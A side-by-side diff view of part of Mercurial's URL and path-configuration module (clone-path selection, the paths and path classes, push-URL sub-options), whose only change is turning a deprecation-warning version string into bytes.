587 | msg = _(b"path points to %d urls while %s only supports one: %s") |
|
587 | msg = _(b"path points to %d urls while %s only supports one: %s") | |
588 | msg %= (len(urls), action, source) |
|
588 | msg %= (len(urls), action, source) | |
589 | raise error.Abort(msg) |
|
589 | raise error.Abort(msg) | |
590 | return parseurl(urls[0], default_branches) |
|
590 | return parseurl(urls[0], default_branches) | |
591 |
|
591 | |||
592 |
|
592 | |||
593 | def get_clone_path(ui, source, default_branches=()): |
|
593 | def get_clone_path(ui, source, default_branches=()): | |
594 | """return the `(origsource, path, branch)` selected as clone source""" |
|
594 | """return the `(origsource, path, branch)` selected as clone source""" | |
595 | urls = [] |
|
595 | urls = [] | |
596 | if source is None: |
|
596 | if source is None: | |
597 | if b'default' in ui.paths: |
|
597 | if b'default' in ui.paths: | |
598 | urls.extend(p.rawloc for p in ui.paths[b'default']) |
|
598 | urls.extend(p.rawloc for p in ui.paths[b'default']) | |
599 | else: |
|
599 | else: | |
600 | # XXX this is the historical default behavior, but that is not |
|
600 | # XXX this is the historical default behavior, but that is not | |
601 | # great, consider breaking BC on this. |
|
601 | # great, consider breaking BC on this. | |
602 | urls.append(b'default') |
|
602 | urls.append(b'default') | |
603 | else: |
|
603 | else: | |
604 | if source in ui.paths: |
|
604 | if source in ui.paths: | |
605 | urls.extend(p.rawloc for p in ui.paths[source]) |
|
605 | urls.extend(p.rawloc for p in ui.paths[source]) | |
606 | else: |
|
606 | else: | |
607 | # Try to resolve as a local path or URI. |
|
607 | # Try to resolve as a local path or URI. | |
608 | path = try_path(ui, source) |
|
608 | path = try_path(ui, source) | |
609 | if path is not None: |
|
609 | if path is not None: | |
610 | urls.append(path.rawloc) |
|
610 | urls.append(path.rawloc) | |
611 | else: |
|
611 | else: | |
612 | urls.append(source) |
|
612 | urls.append(source) | |
613 | if len(urls) != 1: |
|
613 | if len(urls) != 1: | |
614 | if source is None: |
|
614 | if source is None: | |
615 | msg = _( |
|
615 | msg = _( | |
616 | b"default path points to %d urls while only one is supported" |
|
616 | b"default path points to %d urls while only one is supported" | |
617 | ) |
|
617 | ) | |
618 | msg %= len(urls) |
|
618 | msg %= len(urls) | |
619 | else: |
|
619 | else: | |
620 | msg = _(b"path points to %d urls while only one is supported: %s") |
|
620 | msg = _(b"path points to %d urls while only one is supported: %s") | |
621 | msg %= (len(urls), source) |
|
621 | msg %= (len(urls), source) | |
622 | raise error.Abort(msg) |
|
622 | raise error.Abort(msg) | |
623 | url = urls[0] |
|
623 | url = urls[0] | |
624 | clone_path, branch = parseurl(url, default_branches) |
|
624 | clone_path, branch = parseurl(url, default_branches) | |
625 | return url, clone_path, branch |
|
625 | return url, clone_path, branch | |
626 |
|
626 | |||
627 |
|
627 | |||
628 | def parseurl(path, branches=None): |
|
628 | def parseurl(path, branches=None): | |
629 | '''parse url#branch, returning (url, (branch, branches))''' |
|
629 | '''parse url#branch, returning (url, (branch, branches))''' | |
630 | u = url(path) |
|
630 | u = url(path) | |
631 | branch = None |
|
631 | branch = None | |
632 | if u.fragment: |
|
632 | if u.fragment: | |
633 | branch = u.fragment |
|
633 | branch = u.fragment | |
634 | u.fragment = None |
|
634 | u.fragment = None | |
635 | return bytes(u), (branch, branches or []) |
|
635 | return bytes(u), (branch, branches or []) | |
636 |
|
636 | |||
637 |
|
637 | |||
638 | class paths(dict): |
|
638 | class paths(dict): | |
639 | """Represents a collection of paths and their configs. |
|
639 | """Represents a collection of paths and their configs. | |
640 |
|
640 | |||
641 | Data is initially derived from ui instances and the config files they have |
|
641 | Data is initially derived from ui instances and the config files they have | |
642 | loaded. |
|
642 | loaded. | |
643 | """ |
|
643 | """ | |
644 |
|
644 | |||
645 | def __init__(self, ui): |
|
645 | def __init__(self, ui): | |
646 | dict.__init__(self) |
|
646 | dict.__init__(self) | |
647 |
|
647 | |||
648 | home_path = os.path.expanduser(b'~') |
|
648 | home_path = os.path.expanduser(b'~') | |
649 |
|
649 | |||
650 | for name, value in ui.configitems(b'paths', ignoresub=True): |
|
650 | for name, value in ui.configitems(b'paths', ignoresub=True): | |
651 | # No location is the same as not existing. |
|
651 | # No location is the same as not existing. | |
652 | if not value: |
|
652 | if not value: | |
653 | continue |
|
653 | continue | |
654 | _value, sub_opts = ui.configsuboptions(b'paths', name) |
|
654 | _value, sub_opts = ui.configsuboptions(b'paths', name) | |
655 | s = ui.configsource(b'paths', name) |
|
655 | s = ui.configsource(b'paths', name) | |
656 | root_key = (name, value, s) |
|
656 | root_key = (name, value, s) | |
657 | root = ui._path_to_root.get(root_key, home_path) |
|
657 | root = ui._path_to_root.get(root_key, home_path) | |
658 |
|
658 | |||
659 | multi_url = sub_opts.get(b'multi-urls') |
|
659 | multi_url = sub_opts.get(b'multi-urls') | |
660 | if multi_url is not None and stringutil.parsebool(multi_url): |
|
660 | if multi_url is not None and stringutil.parsebool(multi_url): | |
661 | base_locs = stringutil.parselist(value) |
|
661 | base_locs = stringutil.parselist(value) | |
662 | else: |
|
662 | else: | |
663 | base_locs = [value] |
|
663 | base_locs = [value] | |
664 |
|
664 | |||
665 | paths = [] |
|
665 | paths = [] | |
666 | for loc in base_locs: |
|
666 | for loc in base_locs: | |
667 | loc = os.path.expandvars(loc) |
|
667 | loc = os.path.expandvars(loc) | |
668 | loc = os.path.expanduser(loc) |
|
668 | loc = os.path.expanduser(loc) | |
669 | if not hasscheme(loc) and not os.path.isabs(loc): |
|
669 | if not hasscheme(loc) and not os.path.isabs(loc): | |
670 | loc = os.path.normpath(os.path.join(root, loc)) |
|
670 | loc = os.path.normpath(os.path.join(root, loc)) | |
671 | p = path(ui, name, rawloc=loc, suboptions=sub_opts) |
|
671 | p = path(ui, name, rawloc=loc, suboptions=sub_opts) | |
672 | paths.append(p) |
|
672 | paths.append(p) | |
673 | self[name] = paths |
|
673 | self[name] = paths | |
674 |
|
674 | |||
675 | for name, old_paths in sorted(self.items()): |
|
675 | for name, old_paths in sorted(self.items()): | |
676 | new_paths = [] |
|
676 | new_paths = [] | |
677 | for p in old_paths: |
|
677 | for p in old_paths: | |
678 | new_paths.extend(_chain_path(p, ui, self)) |
|
678 | new_paths.extend(_chain_path(p, ui, self)) | |
679 | self[name] = new_paths |
|
679 | self[name] = new_paths | |
680 |
|
680 | |||
681 | def getpath(self, ui, name, default=None): |
|
681 | def getpath(self, ui, name, default=None): | |
682 | """Return a ``path`` from a string, falling back to default. |
|
682 | """Return a ``path`` from a string, falling back to default. | |
683 |
|
683 | |||
684 | ``name`` can be a named path or locations. Locations are filesystem |
|
684 | ``name`` can be a named path or locations. Locations are filesystem | |
685 | paths or URIs. |
|
685 | paths or URIs. | |
686 |
|
686 | |||
687 | Returns None if ``name`` is not a registered path, a URI, or a local |
|
687 | Returns None if ``name`` is not a registered path, a URI, or a local | |
688 | path to a repo. |
|
688 | path to a repo. | |
689 | """ |
|
689 | """ | |
690 | msg = b'getpath is deprecated, use `get_*` functions from urlutil' |
|
690 | msg = b'getpath is deprecated, use `get_*` functions from urlutil' | |
691 | ui.deprecwarn(msg, '6.0') |
|
691 | ui.deprecwarn(msg, b'6.0') | |
692 | # Only fall back to default if no path was requested. |
|
692 | # Only fall back to default if no path was requested. | |
693 | if name is None: |
|
693 | if name is None: | |
694 | if not default: |
|
694 | if not default: | |
695 | default = () |
|
695 | default = () | |
696 | elif not isinstance(default, (tuple, list)): |
|
696 | elif not isinstance(default, (tuple, list)): | |
697 | default = (default,) |
|
697 | default = (default,) | |
698 | for k in default: |
|
698 | for k in default: | |
699 | try: |
|
699 | try: | |
700 | return self[k][0] |
|
700 | return self[k][0] | |
701 | except KeyError: |
|
701 | except KeyError: | |
702 | continue |
|
702 | continue | |
703 | return None |
|
703 | return None | |
704 |
|
704 | |||
705 | # Most likely empty string. |
|
705 | # Most likely empty string. | |
706 | # This may need to raise in the future. |
|
706 | # This may need to raise in the future. | |
707 | if not name: |
|
707 | if not name: | |
708 | return None |
|
708 | return None | |
709 | if name in self: |
|
709 | if name in self: | |
710 | return self[name][0] |
|
710 | return self[name][0] | |
711 | else: |
|
711 | else: | |
712 | # Try to resolve as a local path or URI. |
|
712 | # Try to resolve as a local path or URI. | |
713 | path = try_path(ui, name) |
|
713 | path = try_path(ui, name) | |
714 | if path is None: |
|
714 | if path is None: | |
715 | raise error.RepoError(_(b'repository %s does not exist') % name) |
|
715 | raise error.RepoError(_(b'repository %s does not exist') % name) | |
716 | return path.rawloc |
|
716 | return path.rawloc | |
717 |
|
717 | |||
718 |
|
718 | |||
719 | _pathsuboptions = {} |
|
719 | _pathsuboptions = {} | |
720 |
|
720 | |||
721 |
|
721 | |||
722 | def pathsuboption(option, attr): |
|
722 | def pathsuboption(option, attr): | |
723 | """Decorator used to declare a path sub-option. |
|
723 | """Decorator used to declare a path sub-option. | |
724 |
|
724 | |||
725 | Arguments are the sub-option name and the attribute it should set on |
|
725 | Arguments are the sub-option name and the attribute it should set on | |
726 | ``path`` instances. |
|
726 | ``path`` instances. | |
727 |
|
727 | |||
728 | The decorated function will receive as arguments a ``ui`` instance, |
|
728 | The decorated function will receive as arguments a ``ui`` instance, | |
729 | ``path`` instance, and the string value of this option from the config. |
|
729 | ``path`` instance, and the string value of this option from the config. | |
730 | The function should return the value that will be set on the ``path`` |
|
730 | The function should return the value that will be set on the ``path`` | |
731 | instance. |
|
731 | instance. | |
732 |
|
732 | |||
733 | This decorator can be used to perform additional verification of |
|
733 | This decorator can be used to perform additional verification of | |
734 | sub-options and to change the type of sub-options. |
|
734 | sub-options and to change the type of sub-options. | |
735 | """ |
|
735 | """ | |
736 |
|
736 | |||
737 | def register(func): |
|
737 | def register(func): | |
738 | _pathsuboptions[option] = (attr, func) |
|
738 | _pathsuboptions[option] = (attr, func) | |
739 | return func |
|
739 | return func | |
740 |
|
740 | |||
741 | return register |
|
741 | return register | |
742 |
|
742 | |||
743 |
|
743 | |||
744 | @pathsuboption(b'pushurl', b'pushloc') |
|
744 | @pathsuboption(b'pushurl', b'pushloc') | |
745 | def pushurlpathoption(ui, path, value): |
|
745 | def pushurlpathoption(ui, path, value): | |
746 | u = url(value) |
|
746 | u = url(value) | |
747 | # Actually require a URL. |
|
747 | # Actually require a URL. | |
748 | if not u.scheme: |
|
748 | if not u.scheme: | |
749 | msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') |
|
749 | msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') | |
750 | msg %= (path.name, value) |
|
750 | msg %= (path.name, value) | |
751 | ui.warn(msg) |
|
751 | ui.warn(msg) | |
752 | return None |
|
752 | return None | |
753 |
|
753 | |||
754 | # Don't support the #foo syntax in the push URL to declare branch to |
|
754 | # Don't support the #foo syntax in the push URL to declare branch to | |
755 | # push. |
|
755 | # push. | |
756 | if u.fragment: |
|
756 | if u.fragment: | |
757 | ui.warn( |
|
757 | ui.warn( | |
758 | _( |
|
758 | _( | |
759 | b'("#fragment" in paths.%s:pushurl not supported; ' |
|
759 | b'("#fragment" in paths.%s:pushurl not supported; ' | |
760 | b'ignoring)\n' |
|
760 | b'ignoring)\n' | |
761 | ) |
|
761 | ) | |
762 | % path.name |
|
762 | % path.name | |
763 | ) |
|
763 | ) | |
764 | u.fragment = None |
|
764 | u.fragment = None | |
765 |
|
765 | |||
766 | return bytes(u) |
|
766 | return bytes(u) | |
767 |
|
767 | |||
768 |
|
768 | |||
769 | @pathsuboption(b'pushrev', b'pushrev') |
|
769 | @pathsuboption(b'pushrev', b'pushrev') | |
770 | def pushrevpathoption(ui, path, value): |
|
770 | def pushrevpathoption(ui, path, value): | |
771 | return value |
|
771 | return value | |
772 |
|
772 | |||
773 |
|
773 | |||
774 | @pathsuboption(b'multi-urls', b'multi_urls') |
|
774 | @pathsuboption(b'multi-urls', b'multi_urls') | |
775 | def multiurls_pathoption(ui, path, value): |
|
775 | def multiurls_pathoption(ui, path, value): | |
776 | res = stringutil.parsebool(value) |
|
776 | res = stringutil.parsebool(value) | |
777 | if res is None: |
|
777 | if res is None: | |
778 | ui.warn( |
|
778 | ui.warn( | |
779 | _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name |
|
779 | _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name | |
780 | ) |
|
780 | ) | |
781 | res = False |
|
781 | res = False | |
782 | return res |
|
782 | return res | |
783 |
|
783 | |||
784 |
|
784 | |||
785 | def _chain_path(base_path, ui, paths): |
|
785 | def _chain_path(base_path, ui, paths): | |
786 | """return the result of "path://" logic applied on a given path""" |
|
786 | """return the result of "path://" logic applied on a given path""" | |
787 | new_paths = [] |
|
787 | new_paths = [] | |
788 | if base_path.url.scheme != b'path': |
|
788 | if base_path.url.scheme != b'path': | |
789 | new_paths.append(base_path) |
|
789 | new_paths.append(base_path) | |
790 | else: |
|
790 | else: | |
791 | assert base_path.url.path is None |
|
791 | assert base_path.url.path is None | |
792 | sub_paths = paths.get(base_path.url.host) |
|
792 | sub_paths = paths.get(base_path.url.host) | |
793 | if sub_paths is None: |
|
793 | if sub_paths is None: | |
794 | m = _(b'cannot use `%s`, "%s" is not a known path') |
|
794 | m = _(b'cannot use `%s`, "%s" is not a known path') | |
795 | m %= (base_path.rawloc, base_path.url.host) |
|
795 | m %= (base_path.rawloc, base_path.url.host) | |
796 | raise error.Abort(m) |
|
796 | raise error.Abort(m) | |
797 | for subpath in sub_paths: |
|
797 | for subpath in sub_paths: | |
798 | path = base_path.copy() |
|
798 | path = base_path.copy() | |
799 | if subpath.raw_url.scheme == b'path': |
|
799 | if subpath.raw_url.scheme == b'path': | |
800 | m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') |
|
800 | m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') | |
801 | m %= (path.rawloc, path.url.host) |
|
801 | m %= (path.rawloc, path.url.host) | |
802 | raise error.Abort(m) |
|
802 | raise error.Abort(m) | |
803 | path.url = subpath.url |
|
803 | path.url = subpath.url | |
804 | path.rawloc = subpath.rawloc |
|
804 | path.rawloc = subpath.rawloc | |
805 | path.loc = subpath.loc |
|
805 | path.loc = subpath.loc | |
806 | if path.branch is None: |
|
806 | if path.branch is None: | |
807 | path.branch = subpath.branch |
|
807 | path.branch = subpath.branch | |
808 | else: |
|
808 | else: | |
809 | base = path.rawloc.rsplit(b'#', 1)[0] |
|
809 | base = path.rawloc.rsplit(b'#', 1)[0] | |
810 | path.rawloc = b'%s#%s' % (base, path.branch) |
|
810 | path.rawloc = b'%s#%s' % (base, path.branch) | |
811 | suboptions = subpath._all_sub_opts.copy() |
|
811 | suboptions = subpath._all_sub_opts.copy() | |
812 | suboptions.update(path._own_sub_opts) |
|
812 | suboptions.update(path._own_sub_opts) | |
813 | path._apply_suboptions(ui, suboptions) |
|
813 | path._apply_suboptions(ui, suboptions) | |
814 | new_paths.append(path) |
|
814 | new_paths.append(path) | |
815 | return new_paths |
|
815 | return new_paths | |
816 |
|
816 | |||
817 |
|
817 | |||
818 | class path(object): |
|
818 | class path(object): | |
819 | """Represents an individual path and its configuration.""" |
|
819 | """Represents an individual path and its configuration.""" | |
820 |
|
820 | |||
821 | def __init__(self, ui=None, name=None, rawloc=None, suboptions=None): |
|
821 | def __init__(self, ui=None, name=None, rawloc=None, suboptions=None): | |
822 | """Construct a path from its config options. |
|
822 | """Construct a path from its config options. | |
823 |
|
823 | |||
824 | ``ui`` is the ``ui`` instance the path is coming from. |
|
824 | ``ui`` is the ``ui`` instance the path is coming from. | |
825 | ``name`` is the symbolic name of the path. |
|
825 | ``name`` is the symbolic name of the path. | |
826 | ``rawloc`` is the raw location, as defined in the config. |
|
826 | ``rawloc`` is the raw location, as defined in the config. | |
827 | ``pushloc`` is the raw locations pushes should be made to. |
|
827 | ``pushloc`` is the raw locations pushes should be made to. | |
828 |
|
828 | |||
829 | If ``name`` is not defined, we require that the location be a) a local |
|
829 | If ``name`` is not defined, we require that the location be a) a local | |
830 | filesystem path with a .hg directory or b) a URL. If not, |
|
830 | filesystem path with a .hg directory or b) a URL. If not, | |
831 | ``ValueError`` is raised. |
|
831 | ``ValueError`` is raised. | |
832 | """ |
|
832 | """ | |
833 | if ui is None: |
|
833 | if ui is None: | |
834 | # used in copy |
|
834 | # used in copy | |
835 | assert name is None |
|
835 | assert name is None | |
836 | assert rawloc is None |
|
836 | assert rawloc is None | |
837 | assert suboptions is None |
|
837 | assert suboptions is None | |
838 | return |
|
838 | return | |
839 |
|
839 | |||
840 | if not rawloc: |
|
840 | if not rawloc: | |
841 | raise ValueError(b'rawloc must be defined') |
|
841 | raise ValueError(b'rawloc must be defined') | |
842 |
|
842 | |||
843 | # Locations may define branches via syntax <base>#<branch>. |
|
843 | # Locations may define branches via syntax <base>#<branch>. | |
844 | u = url(rawloc) |
|
844 | u = url(rawloc) | |
845 | branch = None |
|
845 | branch = None | |
846 | if u.fragment: |
|
846 | if u.fragment: | |
847 | branch = u.fragment |
|
847 | branch = u.fragment | |
848 | u.fragment = None |
|
848 | u.fragment = None | |
849 |
|
849 | |||
850 | self.url = u |
|
850 | self.url = u | |
851 | # the url from the config/command line before dealing with `path://` |
|
851 | # the url from the config/command line before dealing with `path://` | |
852 | self.raw_url = u.copy() |
|
852 | self.raw_url = u.copy() | |
853 | self.branch = branch |
|
853 | self.branch = branch | |
854 |
|
854 | |||
855 | self.name = name |
|
855 | self.name = name | |
856 | self.rawloc = rawloc |
|
856 | self.rawloc = rawloc | |
857 | self.loc = b'%s' % u |
|
857 | self.loc = b'%s' % u | |
858 |
|
858 | |||
859 | self._validate_path() |
|
859 | self._validate_path() | |
860 |
|
860 | |||
861 | _path, sub_opts = ui.configsuboptions(b'paths', b'*') |
|
861 | _path, sub_opts = ui.configsuboptions(b'paths', b'*') | |
862 | self._own_sub_opts = {} |
|
862 | self._own_sub_opts = {} | |
863 | if suboptions is not None: |
|
863 | if suboptions is not None: | |
864 | self._own_sub_opts = suboptions.copy() |
|
864 | self._own_sub_opts = suboptions.copy() | |
865 | sub_opts.update(suboptions) |
|
865 | sub_opts.update(suboptions) | |
866 | self._all_sub_opts = sub_opts.copy() |
|
866 | self._all_sub_opts = sub_opts.copy() | |
867 |
|
867 | |||
868 | self._apply_suboptions(ui, sub_opts) |
|
868 | self._apply_suboptions(ui, sub_opts) | |
869 |
|
869 | |||
870 | def copy(self): |
|
870 | def copy(self): | |
871 | """make a copy of this path object""" |
|
871 | """make a copy of this path object""" | |
872 | new = self.__class__() |
|
872 | new = self.__class__() | |
873 | for k, v in self.__dict__.items(): |
|
873 | for k, v in self.__dict__.items(): | |
874 | new_copy = getattr(v, 'copy', None) |
|
874 | new_copy = getattr(v, 'copy', None) | |
875 | if new_copy is not None: |
|
875 | if new_copy is not None: | |
876 | v = new_copy() |
|
876 | v = new_copy() | |
877 | new.__dict__[k] = v |
|
877 | new.__dict__[k] = v | |
878 | return new |
|
878 | return new | |
879 |
|
879 | |||
880 | def _validate_path(self): |
|
880 | def _validate_path(self): | |
881 | # When given a raw location but not a symbolic name, validate the |
|
881 | # When given a raw location but not a symbolic name, validate the | |
882 | # location is valid. |
|
882 | # location is valid. | |
883 | if ( |
|
883 | if ( | |
884 | not self.name |
|
884 | not self.name | |
885 | and not self.url.scheme |
|
885 | and not self.url.scheme | |
886 | and not self._isvalidlocalpath(self.loc) |
|
886 | and not self._isvalidlocalpath(self.loc) | |
887 | ): |
|
887 | ): | |
888 | raise ValueError( |
|
888 | raise ValueError( | |
889 | b'location is not a URL or path to a local ' |
|
889 | b'location is not a URL or path to a local ' | |
890 | b'repo: %s' % self.rawloc |
|
890 | b'repo: %s' % self.rawloc | |
891 | ) |
|
891 | ) | |
892 |
|
892 | |||
893 | def _apply_suboptions(self, ui, sub_options): |
|
893 | def _apply_suboptions(self, ui, sub_options): | |
894 | # Now process the sub-options. If a sub-option is registered, its |
|
894 | # Now process the sub-options. If a sub-option is registered, its | |
895 | # attribute will always be present. The value will be None if there |
|
895 | # attribute will always be present. The value will be None if there | |
896 | # was no valid sub-option. |
|
896 | # was no valid sub-option. | |
897 | for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): |
|
897 | for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions): | |
898 | if suboption not in sub_options: |
|
898 | if suboption not in sub_options: | |
899 | setattr(self, attr, None) |
|
899 | setattr(self, attr, None) | |
900 | continue |
|
900 | continue | |
901 |
|
901 | |||
902 | value = func(ui, self, sub_options[suboption]) |
|
902 | value = func(ui, self, sub_options[suboption]) | |
903 | setattr(self, attr, value) |
|
903 | setattr(self, attr, value) | |
904 |
|
904 | |||
905 | def _isvalidlocalpath(self, path): |
|
905 | def _isvalidlocalpath(self, path): | |
906 | """Returns True if the given path is a potentially valid repository. |
|
906 | """Returns True if the given path is a potentially valid repository. | |
907 | This is its own function so that extensions can change the definition of |
|
907 | This is its own function so that extensions can change the definition of | |
908 | 'valid' in this case (like when pulling from a git repo into a hg |
|
908 | 'valid' in this case (like when pulling from a git repo into a hg | |
909 | one).""" |
|
909 | one).""" | |
910 | try: |
|
910 | try: | |
911 | return os.path.isdir(os.path.join(path, b'.hg')) |
|
911 | return os.path.isdir(os.path.join(path, b'.hg')) | |
912 | # Python 2 may return TypeError. Python 3, ValueError. |
|
912 | # Python 2 may return TypeError. Python 3, ValueError. | |
913 | except (TypeError, ValueError): |
|
913 | except (TypeError, ValueError): | |
914 | return False |
|
914 | return False | |
915 |
|
915 | |||
916 | @property |
|
916 | @property | |
917 | def suboptions(self): |
|
917 | def suboptions(self): | |
918 | """Return sub-options and their values for this path. |
|
918 | """Return sub-options and their values for this path. | |
919 |
|
919 | |||
920 | This is intended to be used for presentation purposes. |
|
920 | This is intended to be used for presentation purposes. | |
921 | """ |
|
921 | """ | |
922 | d = {} |
|
922 | d = {} | |
923 | for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): |
|
923 | for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions): | |
924 | value = getattr(self, attr) |
|
924 | value = getattr(self, attr) | |
925 | if value is not None: |
|
925 | if value is not None: | |
926 | d[subopt] = value |
|
926 | d[subopt] = value | |
927 | return d |
|
927 | return d |
General Comments 0
You need to be logged in to leave comments.
Login now